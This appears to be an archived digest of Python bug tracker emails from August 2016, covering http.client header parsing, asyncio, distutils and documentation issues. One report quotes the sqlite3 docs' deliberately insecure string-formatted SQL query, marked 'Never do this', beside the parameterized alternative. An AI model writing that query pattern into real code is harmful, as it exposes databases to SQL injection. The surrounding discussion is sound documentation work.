<1470742334.32.0.632160857109.issue27708@psf.upfronthosting.co.za> Eric V. Smith added the comment: Since your result is 6.754791118045615e+200, it's definitely not stored as an integer. If you would show us exactly how you calculated this value, we can explain where the conversion to floating point is taking place. In the meantime, I'm going to close this issue, since it's not an problem with python integers. ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 07:33:16 2016 From: report at bugs.python.org (Cory Benfield) Date: Tue, 09 Aug 2016 11:33:16 +0000 Subject: [issue27716] http.client truncates UTF-8 encoded headers Message-ID: <1470742396.79.0.719108941731.issue27716@psf.upfronthosting.co.za> New submission from Cory Benfield: Originally reported as Requests issue #3485: https://github.com/kennethreitz/requests/issues/3485 On Python 3, http.client uses the email module to parse its HTTP headers. The email module, for better or worse, requires that it parse headers as *text*: that is, that they be decoded from bytes first and then parsed. This doesn't work for UTF-8 encoded headers. For example, the URL `'http://pl.bab.la/slownik/angielski-polski/'` returns the following Link header, encoded as UTF-8: `Link: ; rel="alternate"; hreflang="zh-Hans", ; rel="alternate"; hreflang="cs", ; rel="alternate"; hreflang="da", ; rel="alternate"; hreflang="de", ; rel="alternate"; hreflang="el", ; rel="alternate"; hreflang="en", ; rel="alternate"; hreflang="eo", ; rel="alternate"; hreflang="es", ; rel="alternate"; hreflang="fi", ; rel="alternate"; hreflang="fr", ; rel="alternate"; hreflang="hi", ; rel="alternate"; hreflang="hu", ; rel="alternate"; hreflang="id", ; rel="alternate"; hreflang="it", ; rel="alternate"; hreflang="ja", ; rel="alternate"; hreflang="ko", ; rel="alternate"; hreflang="nl", ; rel="alternate"; hreflang="no", ; rel="alternate"; hreflang="pl", ; rel="alternate"; hreflang="pt", ; rel="alternate"; hreflang="ro", ; rel="alternate"; hreflang="ru", ; rel="alternate"; hreflang="sv", ; rel="alternate"; hreflang="sw", ; rel="alternate"; hreflang="th", ; rel="alternate"; hreflang="tr", ; rel="alternate"; hreflang="vi"`. When decoded using ISO-8859-1, this header gets truncated and this also causes the header block parsing to stop. This means that we don't see the Content-Length header, causing the HTTP client to wait for connection closure to consider the body terminated. Really the only correct fix for this is for http.client to stop insisting that the headers be decoded before they are parsed, and instead to decode *after*. That way, at least, user code can recover the headers and handle them more sensibly. ---------- components: Library (Lib) messages: 272236 nosy: Lukasa priority: normal severity: normal status: open title: http.client truncates UTF-8 encoded headers versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 07:35:30 2016 From: report at bugs.python.org (Cory Benfield) Date: Tue, 09 Aug 2016 11:35:30 +0000 Subject: [issue27716] http.client truncates UTF-8 encoded headers In-Reply-To: <1470742396.79.0.719108941731.issue27716@psf.upfronthosting.co.za> Message-ID: <1470742530.63.0.805447155582.issue27716@psf.upfronthosting.co.za> Cory Benfield added the comment: Simple repro case: import http.client conn = http.client.HTTPConnection('pl.bab.la') conn.request("GET", '/slownik/angielski-polski/') resp = conn.getresponse() resp.read() # Hangs here ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 08:29:35 2016 From: report at bugs.python.org (Eyal Mor) Date: Tue, 09 Aug 2016 12:29:35 +0000 Subject: [issue27717] sqlite documentation bug Message-ID: <1470745775.08.0.0704550754852.issue27717@psf.upfronthosting.co.za> New submission from Eyal Mor: In the SQlite module documentation there a code section showing how to securely use the sqlite.execute method. The problem with this code section is that just from a glance, without reading the paragraph before, or the comments in the section, users could use the insecure version. It would be better if only a secure example would be in the code section. https://docs.python.org/2/library/sqlite3.html Section: # Never do this -- insecure! symbol = 'RHAT' c.execute("SELECT * FROM stocks WHERE symbol = '%s'" % symbol) # Do this instead t = ('RHAT',) c.execute('SELECT * FROM stocks WHERE symbol=?', t) print c.fetchone() # Larger example that inserts many records at a time purchases = [('2006-03-28', 'BUY', 'IBM', 1000, 45.00), ('2006-04-05', 'BUY', 'MSFT', 1000, 72.00), ('2006-04-06', 'SELL', 'IBM', 500, 53.00), ] c.executemany('INSERT INTO stocks VALUES (?,?,?,?,?)', purchases) ---------- assignee: docs at python components: Documentation files: Screen Shot 2016-08-09 at 3.28.05 PM.png messages: 272238 nosy: Eyal Mor, docs at python priority: normal severity: normal status: open title: sqlite documentation bug type: security versions: Python 2.7, Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6 Added file: http://bugs.python.org/file44056/Screen Shot 2016-08-09 at 3.28.05 PM.png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 08:32:29 2016 From: report at bugs.python.org (Rolf Krahl) Date: Tue, 09 Aug 2016 12:32:29 +0000 Subject: [issue12319] [http.client] HTTPConnection.request not support "chunked" Transfer-Encoding to send data In-Reply-To: <1307875633.83.0.874379254828.issue12319@psf.upfronthosting.co.za> Message-ID: <1470745949.77.0.259368545535.issue12319@psf.upfronthosting.co.za> Rolf Krahl added the comment: Ok, here comes yet another version of the patch, addressing the review comments. As indicated in the last post and requested by Martin, I moved the logic to deal with the different body types out of send() into _send_output(). I also removed the conversion from byte-like to bytes. I had some problems with some comments mainly on the documentation of urllib.request, asking for stuff unrelated to chunked transfer encoding and the present issue. I have the impression this is starting to get out of hands. Time is running out and I suggest that we should keep the focus on the present issue. There were also requests to drop support for stuff that is working in the current library, although not documented, and that is explicitly covered by the test suite. I'm fine with dropping that and also adapted the tests accordingly. But please be sure that what you are asking for is really what you want. Please note that this patch is not yet complete. I still need your decision on the two issues raised in the last post: the test method to use for text streams and whether I should drop the sanity checks for the transfer-encoding header. ---------- Added file: http://bugs.python.org/file44057/issue12319_10.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 08:41:19 2016 From: report at bugs.python.org (Gabriel Pettier (Tshirtman)) Date: Tue, 09 Aug 2016 12:41:19 +0000 Subject: [issue27718] help('signal') incomplete (e.g: signal.signal not visible) Message-ID: <1470746479.88.0.0919609545752.issue27718@psf.upfronthosting.co.za> New submission from Gabriel Pettier (Tshirtman): Up to apparently python 3.5, using help('signal') used to show the 'signal.signal' function among others, now it's not in the list, while of course help('signal.signal') does work, it was reported to me to still be the case in 3.6a1. ---------- assignee: docs at python components: Documentation messages: 272240 nosy: Gabriel Pettier (Tshirtman), docs at python priority: normal severity: normal status: open title: help('signal') incomplete (e.g: signal.signal not visible) type: behavior versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 08:48:18 2016 From: report at bugs.python.org (Rolf Krahl) Date: Tue, 09 Aug 2016 12:48:18 +0000 Subject: [issue12319] [http.client] HTTPConnection.request not support "chunked" Transfer-Encoding to send data In-Reply-To: <1307875633.83.0.874379254828.issue12319@psf.upfronthosting.co.za> Message-ID: <1470746898.39.0.773883548962.issue12319@psf.upfronthosting.co.za> Rolf Krahl added the comment: I just wrote: > There were also requests to drop support for stuff that is working > in the current library, although not documented, and that is > explicitly covered by the test suite. I'm fine with dropping that > and also adapted the tests accordingly. But please be sure that > what you are asking for is really what you want. Sorry, please disregards this comment. I just realized that these tests were added by previous versions of the patch by Damien. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 08:57:51 2016 From: report at bugs.python.org (INADA Naoki) Date: Tue, 09 Aug 2016 12:57:51 +0000 Subject: [issue26081] Implement asyncio Future in C to improve performance In-Reply-To: <1452533022.97.0.443242974791.issue26081@psf.upfronthosting.co.za> Message-ID: <1470747471.52.0.706977824456.issue26081@psf.upfronthosting.co.za> INADA Naoki added the comment: Yury, could you review this before 3.6a4? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 09:16:47 2016 From: report at bugs.python.org (Berker Peksag) Date: Tue, 09 Aug 2016 13:16:47 +0000 Subject: [issue26081] Implement asyncio Future in C to improve performance In-Reply-To: <1452533022.97.0.443242974791.issue26081@psf.upfronthosting.co.za> Message-ID: <1470748607.83.0.394983869001.issue26081@psf.upfronthosting.co.za> Changes by Berker Peksag : ---------- stage: needs patch -> patch review versions: -Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 09:16:53 2016 From: report at bugs.python.org (R. David Murray) Date: Tue, 09 Aug 2016 13:16:53 +0000 Subject: [issue27698] socketpair not in socket.__all__ on Windows In-Reply-To: <1470477746.64.0.384028109592.issue27698@psf.upfronthosting.co.za> Message-ID: <1470748613.24.0.213508953297.issue27698@psf.upfronthosting.co.za> R. David Murray added the comment: Ah, I see. Yes, the normal "automatic adding" probably made that easy to forget. The lack of "windows" comment there fooled me...it looks like what was really added was "support for any platform that supports sockets but not socketpair" :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 09:23:25 2016 From: report at bugs.python.org (R. David Murray) Date: Tue, 09 Aug 2016 13:23:25 +0000 Subject: [issue27682] Windows Error 10053, ConnectionAbortedError: [WinError 10053] An established connection was aborted by the software in your host machine In-Reply-To: <1470313993.65.0.630797703267.issue27682@psf.upfronthosting.co.za> Message-ID: <1470749005.32.0.262617778789.issue27682@psf.upfronthosting.co.za> R. David Murray added the comment: Given that django is involved, it looks like it is most likely django that is calling the method after wsgiref is closed. This doesn't *look* like a stdlib problem from what we can see so far, but it certainly could be. We'd need a reproducer that didn't involve django to make any further progress from our side. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 09:33:07 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 09 Aug 2016 13:33:07 +0000 Subject: [issue27718] help('signal') incomplete (e.g: signal.signal not visible) In-Reply-To: <1470746479.88.0.0919609545752.issue27718@psf.upfronthosting.co.za> Message-ID: <1470749587.26.0.53234905523.issue27718@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- nosy: +ethan.furman, giampaolo.rodola _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 09:33:18 2016 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 09 Aug 2016 13:33:18 +0000 Subject: [issue26081] Implement asyncio Future in C to improve performance In-Reply-To: <1452533022.97.0.443242974791.issue26081@psf.upfronthosting.co.za> Message-ID: <1470749598.49.0.512240269839.issue26081@psf.upfronthosting.co.za> Yury Selivanov added the comment: > Yury, could you review this before 3.6a4? Left a couple of comments; the important one -- Future.__await__ (and Future.__iter__) should always return a *new* instance of a generator-like object (tied to the Future object). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 09:35:12 2016 From: report at bugs.python.org (R. David Murray) Date: Tue, 09 Aug 2016 13:35:12 +0000 Subject: [issue27716] http.client truncates UTF-8 encoded headers In-Reply-To: <1470742396.79.0.719108941731.issue27716@psf.upfronthosting.co.za> Message-ID: <1470749712.0.0.972675648207.issue27716@psf.upfronthosting.co.za> R. David Murray added the comment: utf-8 headers are contrary to the http spec, aren't they? Or has that changed? (It's been a long time since I've looked at any http RFCs.) This could be fixed by using SMTPUTF8 mode when parsing the headers, which in theory ought to be backward compatible. We could make SMTPUTF8 the default for email.policy.http, if this is correct per the RFCs. ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 09:39:59 2016 From: report at bugs.python.org (R. David Murray) Date: Tue, 09 Aug 2016 13:39:59 +0000 Subject: [issue27717] sqlite documentation bug In-Reply-To: <1470745775.08.0.0704550754852.issue27717@psf.upfronthosting.co.za> Message-ID: <1470749999.7.0.999570194389.issue27717@psf.upfronthosting.co.za> R. David Murray added the comment: I think it is pretty hard to miss "Never do this" when reading the code section. That said, I don't have a strong objection to changing it. I've reduced the versions field to those branches this might get changed in, as is our standard practice with the versions field. Nor is this a security issue in our usage of that type, so I've changed the type to behavior. ---------- nosy: +r.david.murray type: security -> behavior versions: -Python 3.2, Python 3.3, Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 09:47:09 2016 From: report at bugs.python.org (R. David Murray) Date: Tue, 09 Aug 2016 13:47:09 +0000 Subject: [issue27718] help('signal') incomplete (e.g: signal.signal not visible) In-Reply-To: <1470746479.88.0.0919609545752.issue27718@psf.upfronthosting.co.za> Message-ID: <1470750429.78.0.212105492563.issue27718@psf.upfronthosting.co.za> R. David Murray added the comment: The conversion of the module from a pure python module to a mixed module apparently caused a number of changes to the pydoc output. This should be addressed to make the pydoc output complete, even if it still different in detail. ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 09:47:45 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 09 Aug 2016 13:47:45 +0000 Subject: [issue27704] bytes(x) is slow when x is bytearray In-Reply-To: <1470597747.43.0.480552843757.issue27704@psf.upfronthosting.co.za> Message-ID: <1470750465.49.0.413572094781.issue27704@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: bytearray suffers from the same issue. It would be nice to optimize it too. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 09:49:52 2016 From: report at bugs.python.org (Cory Benfield) Date: Tue, 09 Aug 2016 13:49:52 +0000 Subject: [issue27716] http.client truncates UTF-8 encoded headers In-Reply-To: <1470742396.79.0.719108941731.issue27716@psf.upfronthosting.co.za> Message-ID: <1470750592.09.0.993035418111.issue27716@psf.upfronthosting.co.za> Cory Benfield added the comment: Honestly, David, everything's a mess on this front. The authoritative document here is RFC 7230 Section 3.2.4 (https://tools.ietf.org/html/rfc7230#section-3.2.4). The last paragraph of that section reads: Historically, HTTP has allowed field content with text in the ISO-8859-1 charset [ISO-8859-1], supporting other charsets only through use of [RFC2047] encoding. In practice, most HTTP header field values use only a subset of the US-ASCII charset [USASCII]. Newly defined header fields SHOULD limit their field values to US-ASCII octets. A recipient SHOULD treat other octets in field content (obs-text) as opaque data. In the case of http.client, actually maps pretty closely to Python 3's bytes object: header field values are basically ASCII + arbitrary opaque bytes. While UTF-8 is not strictly called out as allowed, neither is it called out as forbidden. In this case, I'd say that there's no need to be too pedantic about Latin 1 at this stage in the pipeline. Python 3 is welcome to decode using Latin 1 *after* the header block has been split, because at least then it can be fixed up due to the round-tripping nature of Latin 1. But doing it here seems to just confuse the email parser. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 09:58:37 2016 From: report at bugs.python.org (Roundup Robot) Date: Tue, 09 Aug 2016 13:58:37 +0000 Subject: [issue21999] shlex: bug in posix mode handling of empty strings In-Reply-To: <1405615020.91.0.261812812224.issue21999@psf.upfronthosting.co.za> Message-ID: <20160809135834.79922.48326.F2E6ED77@psf.io> Roundup Robot added the comment: New changeset cf04243e8d7d by Vinay Sajip in branch '2.7': Issue #21999: Handled empty strings correctly when in POSIX mode. https://hg.python.org/cpython/rev/cf04243e8d7d ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 10:03:20 2016 From: report at bugs.python.org (=?utf-8?q?Kristj=C3=A1n_Valur_J=C3=B3nsson?=) Date: Tue, 09 Aug 2016 14:03:20 +0000 Subject: [issue27682] Windows Error 10053, ConnectionAbortedError: [WinError 10053] An established connection was aborted by the software in your host machine In-Reply-To: <1470313993.65.0.630797703267.issue27682@psf.upfronthosting.co.za> Message-ID: <1470751400.57.0.325641024344.issue27682@psf.upfronthosting.co.za> Kristj?n Valur J?nsson added the comment: As already stated, this error bubbles up from the TCP layer. It means that the tcp stack, for example, gave up resending a tcp frame and timed out, determining that the recipient was no longer listening. You cannot create this error yourself. If you, for example, call s.shutdown(SHUT_WR), you get a WSAESHUTDOWN error. If the connection is closed (via s.close()) you get a EBADF error. Now, the interaction with the client may cause the client to misbehave, but this sort of error is usually either due to the network (other host becomes unreachable) or misconfiguration of the local host's tcp stack. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 10:07:22 2016 From: report at bugs.python.org (Roundup Robot) Date: Tue, 09 Aug 2016 14:07:22 +0000 Subject: [issue21999] shlex: bug in posix mode handling of empty strings In-Reply-To: <1405615020.91.0.261812812224.issue21999@psf.upfronthosting.co.za> Message-ID: <20160809140715.51296.55542.15C1AA0A@psf.io> Roundup Robot added the comment: New changeset 4f02ad46a0a8 by Vinay Sajip in branch '3.5': Closes #21999: Handled empty strings correctly when in POSIX mode. https://hg.python.org/cpython/rev/4f02ad46a0a8 New changeset a8e74448678c by Vinay Sajip in branch 'default': Closes #21999: (Empty) merge from 3.5. https://hg.python.org/cpython/rev/a8e74448678c ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 10:11:38 2016 From: report at bugs.python.org (R. David Murray) Date: Tue, 09 Aug 2016 14:11:38 +0000 Subject: [issue27716] http.client truncates UTF-8 encoded headers In-Reply-To: <1470742396.79.0.719108941731.issue27716@psf.upfronthosting.co.za> Message-ID: <1470751898.39.0.263124391467.issue27716@psf.upfronthosting.co.za> R. David Murray added the comment: Well, email will happily parse bytes and treat the non-ascii data as opaque (though it does record errors in an internal data structure), but the python3 http api expects the parsed headers to be strings when you access them, so you'd just hit the decoding problem at that point rather than earlier. This is a hard problem. Since headers *can* be latin1 (I'd forgotten that) SMTPUTF8 won't work. We are stuck against the problem that python makes a careful distinction between bytes and string, but http does not. In theory we could pass bytes to email, and then provide a new API for getting at the "raw" (bytes) header so you can decode it however you want. That runs into backward compatibility problems, though, since we currently do decode from latin-1 and many programs are probably relying on that. Throwing out an idea here: maybe having the http policy decode the parsed bytes header from latin-1 when headers are accessed through the normal API would preserve backward compatibility. I'm not too worried about back-compat in the http policy, since it is provisional until 3.6 comes out and I doubt anyone is currently using it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 10:17:49 2016 From: report at bugs.python.org (R. David Murray) Date: Tue, 09 Aug 2016 14:17:49 +0000 Subject: [issue27682] Windows Error 10053, ConnectionAbortedError: [WinError 10053] An established connection was aborted by the software in your host machine In-Reply-To: <1470313993.65.0.630797703267.issue27682@psf.upfronthosting.co.za> Message-ID: <1470752269.99.0.213636097074.issue27682@psf.upfronthosting.co.za> R. David Murray added the comment: Kristj?n: right, what I'm saying about the possible bug is the final part of the traceback resulting from (apparently) wsgiref being closed and a new operation being attempted. *Probably* that is a django bug in handling a network error, but maybe it is a wsgiref bug in handling the network error. (I'm assuming here that the Windows error is triggered by the retry, but I could of course be completely wrong about that.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 12:08:46 2016 From: report at bugs.python.org (Ben Hoyt) Date: Tue, 09 Aug 2016 16:08:46 +0000 Subject: [issue27719] Misleading note about "args" attribute in "User-defined Exceptions" section of tutorial Message-ID: <1470758926.96.0.219997040874.issue27719@psf.upfronthosting.co.za> New submission from Ben Hoyt: In the official tutorial in the "User-defined Exceptions" section (https://docs.python.org/3.5/tutorial/errors.html#user-defined-exceptions) there's a note about a user-defined Exception subclass as follows: "In this example, the default __init__() of Exception has been overridden. The new behavior simply creates the value attribute. This replaces the default behavior of creating the args attribute." That last sentence is wrong: it used to be that way (it is in Python 2.x and I believe in Python pre 3.2), but now the implementation of BaseException.__new__ now sets args, so even when you override __init__ and don't call super() args is set. I think that's what you want, so I'm putting this down to a documentation bug. I think the sentence "This replaces the default behavior of creating the args attribute." should simply be removed (BaseException.__init__ basically does nothing now). This change happened for Python 3.3 and was backported to Python 3.2. See also: * The relevant part of BaseException.__new__ in the CPython codebase: https://github.com/python/cpython/blob/601ee5fab5df81a25611da0667030de531c1cda9/Objects/exceptions.c#L44-L48 * The issue where this behaviour was changed: http://bugs.python.org/issue1692335 * The commit where it was changed: https://hg.python.org/cpython/rev/68e2690a471d (on GitHub at https://github.com/python/cpython/commit/a71a87e695b05a67bd22c6ac74311b1f56f3932e) * You can repro this and confirm that "args" is definitely set with the attached script: $ python exception_args_test.py sys.version_info(major=3, minor=5, micro=2, releaselevel='final', serial=0) Error args: ('error!',) ---------- assignee: docs at python components: Documentation files: exception_args_test.py messages: 272256 nosy: benhoyt, docs at python, georg.brandl, sbt priority: normal severity: normal status: open title: Misleading note about "args" attribute in "User-defined Exceptions" section of tutorial versions: Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6 Added file: http://bugs.python.org/file44058/exception_args_test.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 12:10:56 2016 From: report at bugs.python.org (Ben Hoyt) Date: Tue, 09 Aug 2016 16:10:56 +0000 Subject: [issue27719] Misleading note about "args" attribute in "User-defined Exceptions" section of tutorial In-Reply-To: <1470758926.96.0.219997040874.issue27719@psf.upfronthosting.co.za> Message-ID: <1470759056.24.0.483605402133.issue27719@psf.upfronthosting.co.za> Ben Hoyt added the comment: Note that I added the committers from issue 1692335 to the Nosy List -- probably overzealous and probably not the folks who maintain the docs, but oh well. :-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 12:11:13 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Tue, 09 Aug 2016 16:11:13 +0000 Subject: [issue27704] bytes(x) is slow when x is bytearray In-Reply-To: <1470597747.43.0.480552843757.issue27704@psf.upfronthosting.co.za> Message-ID: <1470759073.69.0.605102742884.issue27704@psf.upfronthosting.co.za> St?phane Wirtel added the comment: Hi Serhiy Thank you for your feedback. Stephane ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 12:59:04 2016 From: report at bugs.python.org (Brett Cannon) Date: Tue, 09 Aug 2016 16:59:04 +0000 Subject: [issue27712] Tiny typos in import.rst Message-ID: <1470761944.84.0.869191602758.issue27712@psf.upfronthosting.co.za> Changes by Brett Cannon : ---------- assignee: docs at python -> brett.cannon nosy: +brett.cannon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 13:25:19 2016 From: report at bugs.python.org (Antti Haapala) Date: Tue, 09 Aug 2016 17:25:19 +0000 Subject: [issue27720] decimal.Context.to_eng_string wrong docstring Message-ID: <1470763519.71.0.509753850108.issue27720@psf.upfronthosting.co.za> New submission from Antti Haapala: https://docs.python.org/3/library/decimal.html#decimal.Context.to_eng_string The docstring for `Context.to_eng_string` says "Converts a number to a string, using scientific notation.", which is, less extra comma, exactly the docstring for `Context.to_sci_string`. It should probably say "using engineering notation". Additionally, docstring for Decimal.to_eng_string uses the term "an engineering-type string", which no one uses outside the said docstring. It should probably also say "Convert to a string using engineering notation." ---------- assignee: docs at python components: Documentation messages: 272259 nosy: docs at python, ztane priority: normal severity: normal status: open title: decimal.Context.to_eng_string wrong docstring _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 14:46:08 2016 From: report at bugs.python.org (INADA Naoki) Date: Tue, 09 Aug 2016 18:46:08 +0000 Subject: [issue27704] bytes(x) is slow when x is bytearray In-Reply-To: <1470597747.43.0.480552843757.issue27704@psf.upfronthosting.co.za> Message-ID: <1470768368.9.0.371956521647.issue27704@psf.upfronthosting.co.za> INADA Naoki added the comment: Thanks for comments. ---------- Added file: http://bugs.python.org/file44059/fast-bytearray-fromobject.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 15:18:45 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 09 Aug 2016 19:18:45 +0000 Subject: [issue27704] bytes(x) is slow when x is bytearray In-Reply-To: <1470597747.43.0.480552843757.issue27704@psf.upfronthosting.co.za> Message-ID: <1470770325.62.0.813098266842.issue27704@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: LGTM. ---------- assignee: -> serhiy.storchaka stage: -> commit review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 15:26:15 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 09 Aug 2016 19:26:15 +0000 Subject: [issue26081] Implement asyncio Future in C to improve performance In-Reply-To: <1452533022.97.0.443242974791.issue26081@psf.upfronthosting.co.za> Message-ID: <1470770775.47.0.108618604606.issue26081@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: See also a discussion on Python-Dev about rewriting contextlib.contextmanager in C: https://mail.python.org/pipermail/python-dev/2016-August/thread.html#145786 . What parts of Future are performance critical? Maybe it is worth to implement in C only the most critical code. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 15:35:52 2016 From: report at bugs.python.org (Joseph Bane) Date: Tue, 09 Aug 2016 19:35:52 +0000 Subject: [issue27721] strtobool returns 0 and 1 rather than False and True Message-ID: <1470771352.57.0.859185223412.issue27721@psf.upfronthosting.co.za> New submission from Joseph Bane: The distutils strtobool function returns 0 or 1 rather than the native boolean type True or False values: https://hg.python.org/cpython/file/3.5/Lib/distutils/util.py#l304 Please see the attached patch for updates to this function. I have included updates to use a f-string in the raise and casefold instead of lower. ---------- components: Distutils files: patch.diff keywords: patch messages: 272263 nosy: Joseph Bane, dstufft, eric.araujo priority: normal severity: normal status: open title: strtobool returns 0 and 1 rather than False and True type: enhancement versions: Python 2.7, Python 3.5 Added file: http://bugs.python.org/file44060/patch.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 15:40:33 2016 From: report at bugs.python.org (R. David Murray) Date: Tue, 09 Aug 2016 19:40:33 +0000 Subject: [issue27721] distutils strtobool returns 0 and 1 rather than False and True In-Reply-To: <1470771352.57.0.859185223412.issue27721@psf.upfronthosting.co.za> Message-ID: <1470771633.3.0.929890685473.issue27721@psf.upfronthosting.co.za> Changes by R. David Murray : ---------- title: strtobool returns 0 and 1 rather than False and True -> distutils strtobool returns 0 and 1 rather than False and True _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 15:40:57 2016 From: report at bugs.python.org (R. David Murray) Date: Tue, 09 Aug 2016 19:40:57 +0000 Subject: [issue27721] distutils strtobool returns 0 and 1 rather than False and True In-Reply-To: <1470771352.57.0.859185223412.issue27721@psf.upfronthosting.co.za> Message-ID: <1470771657.26.0.626639146309.issue27721@psf.upfronthosting.co.za> Changes by R. David Murray : ---------- versions: +Python 3.6 -Python 2.7, Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 15:44:29 2016 From: report at bugs.python.org (Gregory P. Smith) Date: Tue, 09 Aug 2016 19:44:29 +0000 Subject: [issue26526] In parsermodule.c, replace over 2KLOC of hand-crafted validation code, with a DFA In-Reply-To: <1457600551.84.0.318395917649.issue26526@psf.upfronthosting.co.za> Message-ID: <1470771869.63.0.904584216842.issue26526@psf.upfronthosting.co.za> Changes by Gregory P. Smith : ---------- nosy: +gregory.p.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 15:45:50 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 09 Aug 2016 19:45:50 +0000 Subject: [issue27128] Add _PyObject_FastCall() In-Reply-To: <1464257756.81.0.101125062969.issue27128@psf.upfronthosting.co.za> Message-ID: <1470771950.51.0.249852514927.issue27128@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Benchmarking results look nice, but despite the fact that this patch is only small part of issue26814, it looks to me larger that it could be. 1. The patch includes two parts: adding _PyObject_FastCall() and adding PyObject_CallNoArg() and PyObject_CallArg1(). How large the role of latter functions in the speed up? Can we first just add _PyObject_FastCall() and measure the effect of adding PyObject_CallNoArg() and PyObject_CallArg1() separately? Can existing function PyObject_Call() be optimized to achieve a comparable benefit? 2. I think that supporting keyword arguments in _PyObject_FastCall() doesn't make much sense now. Calling with keyword arguments adds such much overhead, that it dwarfs the benefit of avoiding the creation of one tuple. I think that the patch can be simpler if drop the support of keyword arguments. 3. The patch adds two files for one function _PyStack_AsTuple(). I would prefer something like _PyTuple_FromArray(). It could be used in other places, not just in argument parsing. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 15:57:31 2016 From: report at bugs.python.org (SilentGhost) Date: Tue, 09 Aug 2016 19:57:31 +0000 Subject: [issue27721] distutils strtobool returns 0 and 1 rather than False and True In-Reply-To: <1470771352.57.0.859185223412.issue27721@psf.upfronthosting.co.za> Message-ID: <1470772651.78.0.546373247736.issue27721@psf.upfronthosting.co.za> SilentGhost added the comment: Couple of things: your patch doesn't seem to apply cleanly for whatever reason (most likely because it's a patch against python2); the change from lowercasing to casefolding doesn't seem justified to me; the formatted value needs to be repr-formatted - though again - a change that's beyond the scope of this issue. The tests are unaffected by this change, however. ---------- nosy: +SilentGhost type: enhancement -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 16:12:06 2016 From: report at bugs.python.org (Joseph Bane) Date: Tue, 09 Aug 2016 20:12:06 +0000 Subject: [issue27721] distutils strtobool returns 0 and 1 rather than False and True In-Reply-To: <1470771352.57.0.859185223412.issue27721@psf.upfronthosting.co.za> Message-ID: <1470773526.11.0.284092674572.issue27721@psf.upfronthosting.co.za> Joseph Bane added the comment: Thank you for the feedback. Please find an updated patch attached. ---------- Added file: http://bugs.python.org/file44061/patch.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 16:37:43 2016 From: report at bugs.python.org (SilentGhost) Date: Tue, 09 Aug 2016 20:37:43 +0000 Subject: [issue27721] distutils strtobool returns 0 and 1 rather than False and True In-Reply-To: <1470771352.57.0.859185223412.issue27721@psf.upfronthosting.co.za> Message-ID: <1470775063.65.0.327851302472.issue27721@psf.upfronthosting.co.za> SilentGhost added the comment: LGTM ---------- stage: -> commit review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 17:30:25 2016 From: report at bugs.python.org (STINNER Victor) Date: Tue, 09 Aug 2016 21:30:25 +0000 Subject: [issue27128] Add _PyObject_FastCall() In-Reply-To: <1470771950.51.0.249852514927.issue27128@psf.upfronthosting.co.za> 